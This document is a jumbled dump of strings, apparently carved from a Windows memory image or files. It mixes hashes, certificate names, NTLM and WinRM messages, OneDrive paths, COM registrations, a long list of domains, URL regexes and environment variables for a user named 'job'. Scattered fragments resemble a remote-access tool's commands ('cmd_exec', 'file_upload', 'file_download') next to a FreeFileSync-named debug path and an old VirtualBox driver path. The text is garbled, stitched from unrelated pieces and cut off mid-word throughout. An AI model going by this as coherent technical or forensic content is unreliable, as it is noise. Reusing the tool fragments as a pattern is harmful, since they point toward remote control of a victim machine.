b43137e4-195d-4dc1-8c2d-11c0d50ad752 2W3jh3qUy6L3AvL0cZonawxHiPULUYEC5T+OHATs5rM= 2WwTVCtbVyIYBIFmD9zJHfMc4QOP1+GSqsM8rkWgWo0= f7af7d09-40e4-419c-a49b-eae366689ebd 2bYK8VKaMe9w2LAU/lx33v7l//ryXUpb5xngColxGRU= 2g8ZlvmeBRjb4bJt2XYr3burxl7cixlgfpVpKZChHDI= 81651ca2-9aa4-42cd-baf3-710aa5dc90f2 2k2NEFNnfdLRC8If0IMxzO68VhMZHrSc0z7cspcEg/M= 2l3ADf47rEmZluKVKbzWAOh38Kfy6P2caaEYPNybU1M= 3+ryHa34WbaAKtw3vGbcnt5CYR56NkEbhfxU8ZPUL3Q= 32148dFUpV3SE+IzWRifWGoQTx4lQG1kqwDBTMPQ0BY= 7753aa3a-30ba-4188-bb2c-4e0e1d6109a9 33wReK0YP7vgCzieLUAmmTIO9m+i4DNkOWmO+vV5yQw= 35f6aqXIXCV/ysXgCmxRzowew4fSj9/SekbYRbu3JrA= cb09f115-cd53-40a2-9dc4-7fc304ff9bfe cb09f115-cd53-40a2-9dc4-7fc304ff9bfe 37vMSELjq1+/1Q6hBRsBpkfQwArcCkv/afDB7jPgL8g= 3BINkRY4vlg5FnZsxWyAsil0pkDqFS8uhnO18y3drzg= 3Cx4ARdIArDj7UIKpsa0Y2GghE1S8dzODl3KPZtZobc= 3GYadmT8mLljdJb6X5b6SDTgIXcRx5bMz8C/J70J1IM= 3M1GT0594g/TP7x5xbFgoYJg0SXD4qFVfLMOLlkowrw= 3OhlfiI6Jl1t4rFTq8titU4VC4guR6SzqZ9zdKL1DwQ= 3OpuVw1YVG7Rfdefru/nomcl7HimAAXtUyxnJFSw95Q= 3baZak4RpCMzdR3Irg/7gLBJ Microsoft ECC TS Root Certificate Authority 2018 Fina Root CA emSign ECC Root CA - C3 emSign Root CA - C1 emSign Root CA - G2 Entrust Root Certification Authority - G4 Microsoft ECC Product Root Certificate Authority 2018 Application CA G3 Root Microsoft Time Stamp Root Certificate Authority 2014 ATHEX Root CA G2 GTS Root R4 GTS Root R2 SSL.com EV Root Ce 3++S++ nteger overflow in length calculation at line %d Integer arithmetic error: 0x%x:%d Cannot set MSV termination event: %lu DeleteCredential: %Ix.%Ix: credential freed DeleteCredential: %Ix.%Ix: credential dereferenced: %ld DeleteCredential: %Ix.%Ix: credential handle not found DeleteContext: %Ix.%Ix: context freed DeleteContext: %Ix.%Ix: context handle not found FreeCredentialsHandle: %Ix.%Ix: called InitializeSecurityContext: %ws: called InitializeSecurityContext: %Ix.%Ix: %ws: called with cred handle ECannot pack DomainName into message %ld Cannot pack dns host name into message %ld Cannot pack UTF-8 netbios computer name into message %ld InitializeSecurityContext: Cannot allocate context InitializeSecurityContext: %Ix.%Ix: %ws: called with context handle InitializeSecurityContext: returns 0x%lx DeleteSecurityContext: %Ix.%Ix: called QueryContextAttributes: %Ix.%Ix: %ld returns 0x%lx NlpSignOrSeal: %Ix.%Ix: Cannot LocateContext NlpSignOrSeal: %Ix.%Ix: No signature buffer found NlpVerifyOrUnseal: %Ix.%Ix: buffer too small for sealing NlpSignOrSeal: %Ix.%Ix: Failed to load checksum routines: 0x%x NlpSignOrSeal: %Ix.%Ix: Session Key: NlpSignOrSeal: %Ix.%Ix: Failed to initialize checksum routines: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed to load crypt system: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed to initialize crypt routines: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed to set IV: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed to encrypt confounder: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed to encrypt buffer: 0x%x NlpSignOrSeal: %Ix.%Ix: Failed initialize crypt routines: 0x%x NlpSignOrSeal: %Ix.%Ix: IV: NlpSignOrSeal: %Ix.%Ix: Clear Seq: NlpSignOrSeal: %Ix.%Ix: Failed to encrypt sequence number: 0x%x NlpSignOrSeal: %Ix.%Ix: Encrypted Seq: )NlpVerifyOrUnseal: %Ix.%Ix: Cannot LocateCon (8`8 (0X0 (8`8 (0X0 (8`8 (8`8 (0X0 (8`8 (0X0 (8`8 (8`8 (0X0 (8`8 (8`8 (0X0 (8`8 (8`8 (0X0 %hs(%u)\%hs!%p: hs] [%hs@ xception: because the shell was not found on the server. Possible causes are: the specified ShellId is incorrect or the shell no longer exists on the server. Provide the correct ShellId or create a new shell and retry the operation. Only one rsp:Send can be outstanding per instance of the shell or command. Resend the rsp:Send request after a rsp:SendResponse is received. Only one rsp:Receive can be outstanding per instance of the shell or command. Resend the rsp:Receive request after a rsp:ReceiveResponse is received. Only one rsp:Signal can be outstanding per instance of the shell or command. Resend the rsp:Signal request after a rsp:SignalResponse is received. The WS-Management service cannot process the request with a wsman:Locale different from that used in the initiating wxf:Create request. Resend the remote request without locale or with the same locale initially used by wxf:Create. The Windows Remote Shell cannot process the request. It is not permitted for other users then the initial creator to make use of a running shell instance, even if they have permissions to create shells themselves with the same or even greater privileges. The administrator can enumerate all running shell instances, also get and delete a running shell instance. The Windows Remote Shell cannot process the request. The resource URI is not valid or the service cannot find the resource identified by the resource URI and selectors. The wsman:ResourceURI value should be %1 or be defined in the CustomRemoteShell table. Check the documentation or use the following command for information on how to populate CustomRemoteShell table: "winrm help customremoteshell". The selectors are relative to the resource URI. Retry the request with the correct resource URI or selectors. The Windows Remote Shell cannot process the request. The command id returned from the shell plugin is empty. The Windows Remote Shell cannot process the request. The WS-Addressing action URI is invalid. The valid actions are Command, R \Device\HarddiskVolume3\Windows\System32\LogFil WMI\RtBackup\EtwRTWFP-IPsec Diagn s.et -SmbClient%4 urit srv2. Comp dDat Wcmsv iona \Device\HarddiskVolume3\ProgramData\ soft\Windows\AppRe itor ackag .Clien eAI_ .7824.0_x64__cw5n1h2txye Acti .LOG \Device\HarddiskVolume3\ProgramDat ackages\ softWindows.Clien BS_cw5n1h2txyewy\S-1-5- 39148898 407190 877228 ystemAp d3b4670 d_COM15. Term al_1 .0_x64__8wekyb3d8b aMono c.ttf Comp authenticated.% -Fo tion, run th llow Unable t eck the status of th able to check the status of the wall. n requires i XML of % cmd_execfile_uploadfile_download freefilesync.pdb ffs_batch bin\freefilesync_win32.exe bin\freefilesync_x64.exe Do you want to really delte it?Uploading is progressed! C:\vbox\branch\w64-1.6\src\VBox\Runtime\r0drv\memobj-r0drv.cpp C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb A>PK:;:PK?@PK8PK8PK8PK98?PK8PK989PK8PK9PK98>PK<>PK98>PK9:PK:;:PK99@PK;PK8PK8PK 9ac63b85-4594-44b5-8973-eeb329b59e2c HTTPClientThread.Properties.Resources Software\Micro Microsoft-Windows-LiveId Microsoft-Windows-LiveId/Operational -LiveId Micro pCategor 6R.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\26.017.0126.0002\EN\LOCALIZABLE.JSON \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\MSWSOCK.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEMRESOURCES\WININET.DLL.MUN \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WINNSI.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\DHCPCSVC6.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WEBIO.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WINNLSRES.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\EN-US\WINNLSRES.DLL.MUI \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\SETTINGS\PERSONAL\SURVEYMANAGERSTATE.JSON \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\LOGS\PERSONAL\FEEDBACKHUB\SUBMISSIONPAYLOAD.JSON \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\RASADHLP.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\DPAPI.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\EN-US\KERNEL32.DLL.MUI \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\SETTINGS\PERSONAL\UXDATABASE.DB \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\FWPUCLNT.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\EN-US\MSWSOCK.DLL.MUI \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WSHQOS.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\EN-US\WSHQOS.DLL.MUI \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\USERS\JOB\APPDATA\LOCAL\MICROSOFT\ONEDRIVE\26.017.0126.0002\MICROSOFT.UI.XAML.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\D2D1.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\SCHANNEL.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WINDOWS.UI.XAML.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\WINDOWS.SECURITY.AUTHENTICATION.WEB.CORE.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\NCRYPTSSLP.DLL \VOLUME{01dca2cbd5ddcc23-6ad5ea13}\WINDOWS\SYSTEM32\CRYPTNET. B"s.k B"s.m E"u. B"s. %"s.k %"s.m %"u. %"s. %"s.o B$%"s. E$%"s: :/.i E"s. g"s.o E$%. g$%.y /g.A s/g.J u/g.S u/g.\ :,:,/ /%/#/ /&/eq 3++S++ WMP11.AssocFile.AVI VIDEO__MPEG Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.MPEG VIDEO__X_MS_ASF Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.ASX VIDEO__X_MS_ASF_PLUGIN Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.ASX VIDEO__X_MS_WM Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.ASF VIDEO__X_MS_WMX Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.ASX VIDEO__X_MS_WMV Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.ADTS AUDIO__MKA Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.MKA AUDIO__FLAC Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.FLAC AUDIO__X_MS_WAX Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.WAX AUDIO__X_MS_WMA Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.WMA VIDEO__AVI Moniker Class %SystemRoot%\system32\wmp.dll apartment IViewFilter {06210E88-01F5-11D1-B512-0080C781C384} IScopedOperations {06210E88-01F5-11D1-B512-0080C781C384} IBindResource {06210E88-01F5-11D1-B512-0080C781C384} ICreateRow {06210E88-01F5-11D1-B512-0080C781C384} IDBBinderProperties {06210E88-01F5-11D1-B512-0080C781C384} IColumnsInfo2 {06210E88-01F5-11D1-B512-0080C781C384} IRegisterProvider {06210E88-01F5-11D1-B512-0080C781C384} IGetSession apartment WMP11.AssocFile.ASX APPLICATION__X_MS_WMZ Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.WMZ AUDIO__AIFF Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.AIFF AUDIO__BASIC Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.AU AUDIO__MID Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.MIDI AUDIO__MP3 Moniker Class %SystemRoot%\system32\wmp.dll apartment WMP11.AssocFile.MP3 ctv OLE Control module C:\Windows\System32\dmocx.dll C:\Windows\System32 ComExp 1.0 Type Library C:\Windows\SysWOW64\catsrvut.d ca-ES.QWERTY kbdus.dll zh-TW.BOPOMO zh-TW.HWR zh-TW.HWR zh-TW.HWR Microsoft.JScript.DebugConvert C:\Windows\SysWOW64\mscoree.dll Microsoft.JScript, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Microsoft.JScript.DebugConvert v1.1.4322 Both Microsoft.JScript, Version=7.0.5000.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a Microsoft.JScript.DebugConvert v1.1.4322 Microsoft.JScript.DebugConvert C:\Windows\SysWOW64\windowscodecs.dll Both File Input Stream Marshaller %SystemRoot%\system32\shcore.dll Public Folder @%SystemRoot%\system32\shell32.dll,-9113 %SystemRoot%\System32\shell32.dll Both {0E5AAE11-A475-4c5b-AB00-C66DE400274E} 0x00000011 {DFDF76A2-C82A-4D63-906A-5644AC457385} WinSta Wininet DmAdmin Dmio Explorer HPlug IPSEC_ PowerProfile RasPbFile svcctrl FntCache* ReSyncKernel RouterPreInit SC_AutoStart WDMAUD Wkssvs crypt32 hardwaremixer mixercallback DINPUTWINMM MSFT. MidiMapper W32Time_ WINMGMT_ WinMM msgina ASP_Perf_ AUTOENRL ActSaverSEEvent Ntms __R_ ContentFilter_ ContentIndex_ MSDTC Fax_Perf_ HTTPEXT IAS_Perf_ ISAPISearch_ InetInfo_ InternetLicense DBWinMutex GuardEventmm LSCSPMUTEX NTFSDRV Citrix ICA MAPI DfShared OleDf DfRoot MMHook Cor_Private_IPCBlock OTSLookupObject GuardMutexmm NamedBuffer, Mutex, __ComCatalogCache__ *ime* *satori* *ctf* *wininet* *settings* *dfshared* *dfroot* GuardSemmm *dfmap* *sens* *primaryword* *urlzones* ta-IN.QWERTY QWERTY ryptnetU kbdinen.dl MsSp7kn.le dows\Sys lien 0000P {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLNoShowElement {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLObjectElement {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLOListElement {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLOptionElement {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLParaElement {00020420-0000-0000-C000-000000000046} {3050F1C5-98B5-11CF-BB82-00AA00BDCE0B} DispHTMLPhraseElement Microsoft Corporation ehtray 5.1.2600.9999 5.1.2600.0000 Microsoft Windows Operating System v1.0.3705 Microsoft Corporation esp_srv.exe 4.0.9999.9999 4.0.0.0 Microsoft BizTalk Server v1.1.4322 11.0.9999.9999 11.0.0.0 v1.1.4322 HKEY_CLASSES_ROOT\Interface\{000C0601-0000-0000-C000-000000000046} Microsoft Corporation MedCtrRO.exe 5.1.2600.9999 5.1.2600.0000 Microsoft Windows Operating System v1.0.3705 Microsoft Corporation Setup 3.0.9999.9999 3.0.0.0 Microsoft BizTalk Server 2004 v1.1.4322 SnChk.exe 10.0.26100.7705 10.0 10.0.26100.7705 10.0 10.0.26100.1 6100.507 77d1cfd6 edesign ml.telelog ca.rsap ru.ekb-avia me.mensch-peter tk.firstwebring com.eac023 de.haushenne com.sageth social.ocsbl com.mainstreetartisans uk.co.thelimitlessman gr.diekperaiwseis io.elycoin com.service-ways tk.twerk tk.schizomatrix com.kroyou com.charles-darwin es.com.avanade eu.bokhylle ca.okeeferanch de.philippbirkholz gq.foodusa tk.silveronline ar.com.calim fi.mikonmaa ua.com.too ca.cbr-rcb br.com.nucleomarketing com.arenlor bio.turing tk.polan tk.talkinators ga.erokat com.plotbubble cf.ulsters com.ittspangdahlem ml.123seo com.ty513 com.porndoepedia tk.qosqo ga.golfbroadcasterers de.grillen-darf-nicht-gesund-sein space.adventus org.duckdns.onyxgen ml.cairohost cz.antikvariat22 online.lindipendente it.quicomo com.ebiografia com.servicios-electricos com.bodascartagena fr.fppp fr.simon-agozzino no.funidelia top.refpa us.yubico fr.meilleursjeuxporno ga.shoppinglowprice com.unitedadmins tk.destroyed one.tristanfarkas io.creatormetrics ga.homeformula tk.answerbookstore de.kuma-it jp.2chan com.christinehameline com.grilltanksplus nl.ensingpodotherapie it.barefoodinrome com.63964444 tk.touwhalster in.forumofld cz.cestujtenamiru tk.businessusa cloud.rubens ninja.netrogue com.51365ee ooo.muy sk.armo com.fps168 tk.olaradio in.samifar com.poc72 ch.payroll uk.co.samwelek com.thelifevison nl.workingtalent tk.sanfernando com.pvlrmnnk de.punkt05 uk.co.lifeskills-education ml.virtualshell money.cs gr.strawberry-laser cf.elakiri gov.itap de.castible io.mediarithmics tk.joi-bangla com.poc109 tk.fresno tk.autolet space.test-do sk.havarijna-sluzba-bratislava ml.dice de.failover ua.pp.tlanyan site.suhost com.c86255 tk.istanbulmasajsalonu fr.carrouselcompany gov.penuelaspr com.susanacruzdesign com.saltercane ru.kidtoyshop it.seyr id.gasscc tk.perthunicyclists tk.kaushal ga.shoppingpicker ru.gravira br.com.mycloudsoftware com.shakepay com.powderkeg tk.nebucadnezzer xn--p1ai.xn----8sbggtw com.adapt-iq co.9728a tk.monokli tk.bilbao fr.cortep tk.kknapredak-rubin com.haydenfranklin com.zionvps fr.prodware tk.consulting-brokerage ru.no1120316 ru.kini24 net.novelinglife org.shansing tk.nullificatr nl.milanvreeken me.crystone nl.b-boom pl.msnarzedzia com.coryadum tk.qiscience tk.splimtechco email.maschinen ru.japanasonic com.rainpaper com.bankpolicies de.fzoske tk.motochileneta ca.gogs com.melopie tk.diegentlemenbittenzurkasse com.triageforensic org.prettycloud com.a06webapp nl.038dev cf.thelordofthewing org.think-asia com.magicdesktop com.114job nl.commissaris-vraagbaak mk.ax tk.manogara tk.oldroadswhippets com.muwa-consulting fi.intsys ru.poopr com.avery br.com.clubedoberloque com.integsystem plus.meow net.exehack tk.lotuswebsolutions io.fusionauth org.sigabrt com.5981w tk.itsloution com.ohifonly ma.solostocks cz.kutalek com.speciauxquebec com.alamanceconstruction com.sosgate com.jounress ee.ttuwiki nl.gumbolustrum com.portfreezone nl.upbtrbt co.dm6 tk.zarra de.1ahyp com.188da com.cacrm tk.krubik com.paragonremodeling com.wpformation com.networkmas br.com.wiseuplive se.pavlic ru.nationaltrails com.robertbln com.poc866 ch.danslavieyadescactus uk.co.kazap com.mec0579 au.com.5starcruises com.huiketang com.889vip5 uk.me.bret-mcgee com.venus-erotic com.weinbergerlawgroup com.thehackerblog by.marioberluchi org.taprix com.cesarpinto tk.pablocamino tk.northernflame com.noodletwister ga.broadcastrealtimeest com.mddistributorsstore org.freethinker org.mtmedia tk.thegioibanca de.schubertgmbh-ingelheim pt.selectra net.olhcparish id.dipro com.allthingssquared com.goldchip com.cosmoiler com.niit net.skillcore br.com.hospitalorto ie.thehomebakery cf.feministreview tk.autosolution org.mikecb gov.mahealthsurveys es.casaboix cf.astronomygcse net.dieti tk.wikisorg com.norbertorabinovichblog com.rubymediagroup jp.co.li-ke uk.co.bonprix org.koifish co.ccgn es.pinterest net.myraytech ga.exambot com.0nestudio com.enakari be.printerleasing io.yd de.casa-due-pur nl.debesteaedwinkel com.regentcruises net.rapidscale tk.naturalstyle com.physics-schools com.marcellodomenis nl.ginnegappen net.zevelev org.caiben cz.vahoshop au.com.blucouriers com.reidostorrents com.cartaodiouncycastle gov.trempcountywi tk.klj-kruibeke tk.freshhosting ink.x17 net.illumed com.greenlifecannabis com.geology-schools com.notar-peikert cf.pentagram tk.villalmanzo se.regmyr ch.tous-travaux com.iwantpayments com.retireearlyandtravel com.harery com.rohitagr se.4dbygg com.petwatchersnj ru.argumentplus tk.cabaretadanowskyfan gov.nsep tk.coincalc com.rebalancenyc tk.poker4all net.gmx co.appbot tk.askdeliver work.stalder sg.iid it.portierato it.roma.bomboniere tk.bryanski cf.amberhouse com.aroonchande it.numeritelefonici com.lampvalley ch.physiovesenaz vip.55k66 com.motekrysen se.rssr info.digchip de.1js com.airlineflightsinternational cf.erincarmody com.long0539 com.jetbbs ru.suffix com.cloudstoragecompare ru.arockets ir.quera tk.tanhaa com.pawafuru ca.ecampusontario ga.diclofenactopical se.liztattoo it.dickp tm.turkmenistanairlines com.51dinghuo net.ferad love.marmotte com.84az com.encircleapp net.goloborodko com.smilenwa tk.combustion net.bitcoinfax network.acoustics ga.apollomobile com.multipassword gov.taylorcountywv ga.from com.brainoutlevel de.dismail cz.ulickaprozivot ro.iblackfriday de.w3punkt net.saintmarkchurch org.niagaraconstruction io.baywatch us.reverselookupphone com.ahorasalud de.kredit-negative-schufa ml.telokchki com.iotfen com.k1yoshi de.janbretschneider de.haakonbecker br.com.kupone com.facilecommebonjour pl.loveismore com.baytownent com.chatsworthelectrical me.apiu tk.q1q2q3 tk.shossain net.bytesec com.9181186 com.blueskyinsure com.vinorossoconero eu.eternalparking in.paytm tk.sokolmelnik com.zainblue com.atheist-refugees do.com.hispadent com.airlinesnyc za.co.pamsorel ro.sysadmins com.82365w com.fovndry com.cruiseamerica com.tumblr com.tumblr.www ovh.watestsite tk.brix-central tk.sajabesaya com.islide-powerpoint ml.merrychristmas com.ehbssl ml.ultramcworld tr.com.atisoft uk.co.hunstoncanoeclub com.rsanahuano sk.v2x com.polar-baer com.ks8862 com.pahealthbilling com.newjerseyvideography com.cookiecorner tk.frandymvp net.491mhz dental.digimax com.tredegar net.asterobot com.conceptcompany ga.easytext tk.onlinepay cf.diasporan net.ghprinting com.squareup com.61730123 pl.bojanowskiszkolka co.atmmantenimiento com.houseofhipsters gov.campbellcountywy com.bridalgallerysalem com.manoirdecontres uk.co.bbkanews be.goedekortingscodes lt.offgrid com.fotoleitner marketing.myhurlburt it.verona.disinfestazione gq.imakash space.meis com.sttammanyurology de.wackerton nz.co.milesconstruction com.educaenvivo tk.flemishopelclub hu.physik tk.asukalangley com.baratzegrowshop nz.co.kpmgccc com.ty5998 org.phreaknet uk.co.boosinflatablegames com.dclmwp jp.eleken com.danielacorahansson com.fuelingfilms clinic.mdmed nl.linoscan com.pcf org.sea-man com.juliesararealtor net.corporateclash ua.co.national fr.pi-sa gr.unicefcards tk.dj62 ml.ltime cn.org.baka com.171365z ga.monsterarmsest com.82365g com.jwilsson com.boozinyan tk.capitapeskanova tk.scholenlijst me.writeoff org.overwall tk.roughnex sg.com.singaporebrand uk.co.yubikey com.9721hh de.lidl-immobilien com.johanpeeters com.theeverydayprepper ru.startekstil com.xb983 net.kowas uk.searchcandy tk.fucknazis tk.cybertronics com.computop de.sv1880-lichtenau ga.judobasicsest com.fescuesodsouthernindiana at.jabber gq.psychicfairnetwork gq.sciencenews com.hotelvalena de.nordseeblicke de.sperrstun tk.retropedal br.com.tratho com.dsds-ltd com.lilou-sportswear fi.poki it.jmdekker co.6957h gov.guernseycounty tk.bluelighter com.canva-dev nz.govt.gazette com.ttyystudio br.com.aficionados com.bfsasia com.atahualpa de.goehler-baumpflege space.baer com.nextwab com.germancoding com.waiwaisw ua.pp.derpy com.mypowerserg org.laracumkitten com.jts3servermod tk.dana-hilliot be.gekleurdverleden ru.shampoo63 com.bewegteslagern com.theblueground com.goteleport com.petrofac tk.winternacht14 work.ten-ki-lp de.10hz de.chirality com.gillespetrotey com.psychiq tk.regele com.ryanwordpress com.743833 gt.com.carolinalamujerdehoy tk.nyaken me.ilii uk.neil-barrett com.dijks org.duckdns.georgenad com.sunroomschicagoil com.nauz-art tk.staffi com.mashrmail by.krasavchik net.gatapro tk.curly-hair-extentions tk.ak \device\harddiskvolume3\windows\system3 chfi proto persists, try restarting the physical computer. No handler exists to handle the message for the virtualization infrastructure driver. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. The name of the partition or message queue for the virtualization infrastructure driver is invalid. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. The partition name of the virtualization infrastructure driver exceeds the maximum. The message queue name of the virtualization infrastructure driver exceeds the maximum. Cannot create the partition for the virtualization infrastructure driver because another partition with the same name already exists. The virtualization infrastructure driver has encountered an error. The requested partition does not exist. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. The virtualization infrastructure driver has encountered an error. Could not find the requested partition. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. A message queue with the same name already exists for the virtualization infrastructure driver. The memory block page for the virtualization infrastructure driver cannot be mapped because the page map limit has been reached. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. The memory block for the virtualization infrastructure driver is still being used and cannot be destroyed. Cannot unlock the page array for the guest operating system memory address because it does not match a previous lock request. Restarting the virtual machine may fix the problem. If the problem persists, try restarting the physical computer. The non-uniform memory access (NUMA) node settings do not match the system NUMA topology. In o n inval e requested operation failed. The hypervisor could not perform the operation because it is not allowed with nested virtualization active. There is not enough memory in the root partition's pool to complete the operation. The provided event log buffer was already marked as freed. There is not enough contiguous memory in the partition's pool to complete the operation. The device is not in a devic main. The re lt in a nested vm-ex l specL ic register failed. There is enough me/ ry in th poo com enough contiguous memory in the hypervisor comp ere is not enough co pool tL complete ope is n ++S+ J<FileCoAuth ++S+ D941FD5B82C5192C3EFFB663] NT AUTHORITY\SYSTEM \Registry\Machine\Software\Classes\. 71901059-918772286-1001_Classes\. B+ncalrpc:[OLEF368 "/\[]:|<>+=;,? "/\[]:|<>+=;,? "/\[]:|<>+=;,? "/\[]:|<>+=;,? \IPC$ \Device\LanmanRedirector \;:[ PEB_SIGNATURE officeclient\.microsoft\.com(?:/[^.]*)?$ https://g\.live\.com(?:/[^.]*)?$ https://onedrive\.live\.com(?:/[^.]*)?$ https://ssw\.live\.com(?:/[^.]*)?$ https://oneclient\.sfx\.ms(?:/[^.]*)?$ https://spoprod-a\.akamaihd\.net(?:/[^.]*)?$ https://(.+)\.svc\.ms(?:/[^.]*)?$ https://(.+)\.wns\.windows\.com(?:/[^.]*)?$ https://(.+)\.sharepointonline\.com(?:/[^.]*)?$ https://(.+)\.search\.production\.apac\.trafficmanager\.net(?:/[^.]*)?$ https://(.+)\.search\.production\.emea\.trafficmanager\.net(?:/[^.]*)?$ https://(.+)\.search\.production\.us\.trafficmanager\.net(?:/[^.]*)?$ https://(.+)\.cloud\.microsoft(?:/[^.]*)?$ https://(.+)\.static\.microsoft(?:/[^.]*)?$ https://(.+)\.usercontent\.microsoft(?:/[^.]*)?$ https://(.+)\.(admin-)?(rs-)?mcas(-df|(-gov(-df)?))?\.(ms|us)(?:/[^.]*)?$ https://(.+)\.sharepoint(-mil)?\.us(?:/[^.]*)?$ https://admin\.onedrive\.us(?:/[^.]*)?$ https://az741266\.vo\.msecnd\.net(?:/[^.]*)?$ https://(.+)\.dps\.mil(?:/[^.]*)?$ https://(.+).usgovcloud(-usercontent|-static)?.microsoft(?:/[^.]*)?$ https://(.+)\.sharepoint\.cn(?:/[^.]*)?$ https://(.+)\.outlook\.cn(?:/[^.]*)?$ https://(.+)\.microsoftonline\.cn(?:/[^.]*)?$ MainAccount Tenants ConfiguredTenantId PUID Root =C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public QSG_RENDER_LOOP=basic QT_ACCESSIBLE_SORT_TREE_CHILDREN=1 QT_ACCESSIBLE_TREEVIEW=1 QT_QUICK_BACKEND=softwarecontext QT_SCALE_FACTOR=1 SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS __COMPAT_LAYER=PerProcessSystemDPIForceOff WinSta0\Default =::=::\ ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData EFC_4124_1262719628=1 EFC_4124_1592913036=1 EFC_4124_2283032206=1 EFC_4124_2775293581=1 EFC_4124_3789132940=1 FPS_BROWSER_APP_PROFILE_STRING=Internet Explorer FPS_BROWSER_USER_PROFILE_STRING=Default HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT 